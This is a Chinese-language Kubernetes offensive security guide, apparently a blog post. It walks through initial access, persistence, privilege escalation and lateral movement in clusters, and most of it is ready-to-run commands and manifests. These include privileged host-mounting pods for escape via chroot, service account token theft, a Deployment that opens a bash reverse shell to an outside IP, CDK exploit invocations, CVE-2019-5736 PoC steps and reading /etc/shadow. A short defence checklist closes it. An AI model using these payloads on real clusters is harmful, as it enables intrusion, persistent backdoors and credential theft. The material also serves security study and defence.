云原生之Kubernetes安全
字数 1377 2025-08-07 08:22:05
Kubernetes安全攻防指南
初始访问
API Server未授权访问
API Server作为K8s集群的管理入口,通常使用8080和6443端口:
- 8080端口:无需认证
- 6443端口:需要认证且有TLS保护
攻击场景:
- 开发者使用8080端口并暴露在公网
- 运维配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组
利用方法:
# 查看pods
https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500
# 创建特权容器
POST https://192.168.4.110:6443/api/v1/namespaces/default/pods
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "test-4444",
"namespace": "default"
},
"spec": {
"containers": [{
"image": "nginx:1.14.2",
"name": "test-4444",
"volumeMounts": [{
"mountPath": "/host",
"name": "host"
}]
}],
"volumes": [{
"hostPath": {
"path": "/",
"type": "Directory"
},
"name": "host"
}]
}
}
# 执行命令
https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami
K8s configfile泄露
kubeconfig文件包含集群管理凭证,可能通过以下途径泄露:
- 办公网员工机器入侵
- Github代码泄露
利用流程:
- 获取kubeconfig文件
- 创建后门Pod并挂载主机路径
- 通过kubectl进入容器
- 利用挂载目录逃逸
具体操作:
# Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
# 使用泄露的config文件
kubectl --kubeconfig k8s.yaml get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}"
# 创建特权Pod
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
# 创建并进入Pod
kubectl apply -f pod.yaml -n default --insecure-skip-tls-verify=true
kubectl exec -it test-444 bash -n default --insecure-skip-tls-verify=true
# 逃逸到宿主机
cd /host
chroot ./ bash
Docker Daemon公网暴露
Docker默认监听unix socket,2375端口用于未认证HTTP通信,2376用于可信HTTPS通信。
检测与利用:
# 探测未授权访问
curl http://192.168.238.129:2375/info
docker -H tcp://192.168.238.129:2375 info
# 设置环境变量
export DOCKER_HOST="tcp://192.168.238.129:2375"
利用Service Account
Pod中默认携带Service Account认证凭据,路径为:
/run/secrets/kubernetes.io/serviceaccount/token
利用方法:
# 设置环境变量
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
# 查看所有Namespaces
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces
# 创建特权Pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -k ${APISERVER}/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml
持久化
DaemonSets/Deployments持久化
Deployment示例:
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deploy
labels:
k8s-app: nginx-demo
spec:
replicas: 3
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
hostNetwork: true
hostPID: true
containers:
- name: nginx
image: nginx:1.7.9
imagePullPolicy: IfNotPresent
command: ["bash"]
args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
type: Directory
Shadow API Server
部署Shadow API Server:
# 一键部署
./cdk run k8s-shadow-apiserver default
# 访问Shadow API
./cdk kcurl anonymous get https://192.168.1.44:9443/api/v1/secrets
Rootkit (k0otkit)
使用步骤:
- 生成k0otkit:
./pre_exp.sh - 监听:
./handle_multi_reverse_shell.sh - 在master节点执行k0otkit.sh
CronJob持久化
示例:
apiVersion: batch/v1
kind: CronJob
metadata:
name: hello
spec:
schedule: "*/1 * * * *"
jobTemplate:
spec:
template:
spec:
containers:
- name: hello
image: busybox
imagePullPolicy: IfNotPresent
command:
- /bin/sh
- -c
- # 反弹Shell或者木马
restartPolicy: OnFailure
权限提升
特权容器逃逸
利用方法:
# 查看磁盘
fdisk -l
# 挂载并逃逸
mkdir /tmp/test
mount /dev/sda3 /tmp/test
chroot /tmp/test bash
Docker漏洞利用
CVE-2020-15257:
# 检测是否使用host模式
cat /proc/net/unix | grep 'containerd-shim'
# 反弹shell
./cdk_linux_386 run shim-pwn reverse 192.168.238.159 4455
CVE-2019-5736:
- 影响版本:
- docker version <=18.09.2
- RunC version <=1.0-rc6
- 利用方法:
# 编译POC CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go # 上传并执行 docker cp main name:/home cd /home/ chmod 777 main ./main
Capabilities逃逸
检测方法:
cat /proc/self/status | grep CapEff
capsh --print
探测与横向移动
内网扫描
Kubernetes网络中的通信类型:
- 同一Pod内的容器间通信
- 各Pod彼此间通信
- Pod与Service间的通信
- 集群外部流量与Service间的通信
K8s常用端口
- API Server: 6443, 8080
- kubelet: 10250, 10255
- etcd: 2379, 2380
- kube-scheduler: 10251
- kube-controller-manager: 10252
污点(Taint)横向渗透
利用方法:
apiVersion: v1
kind: Pod
metadata:
name: control-master-15
spec:
tolerations:
- key: node.kubernetes.io/unschedulable
operator: Exists
effect: NoSchedule
containers:
- name: control-master-15
image: ubuntu:18.04
command: ["/bin/sleep", "3650d"]
volumeMounts:
- name: master
mountPath: /master
volumes:
- name: master
hostPath:
path: /
type: Directory
获取Master控制:
kubectl exec control-master-15 -it bash
chroot /master bash
cat /etc/shadow
结论与防御建议
-
当前威胁态势:
- 黑产团伙通过批量扫描利用未授权进行挖矿
- 云原生攻击武器发展使攻击门槛降低
- 虚拟机/容器逃逸攻击、供应链攻击快速增长
-
防御建议:
- 禁用API Server未授权访问
- 实施严格的RBAC策略
- 定期审计kubeconfig文件权限
- 限制Docker Daemon的访问
- 及时更新Kubernetes和Docker版本
- 监控异常Pod创建和API调用
- 实施网络隔离策略
-
私有云特别注意事项:
- 确保云底座网络与业务网络有效隔离
- 审计第三方组件的安全性
- 定制开发部分需特别关注安全配置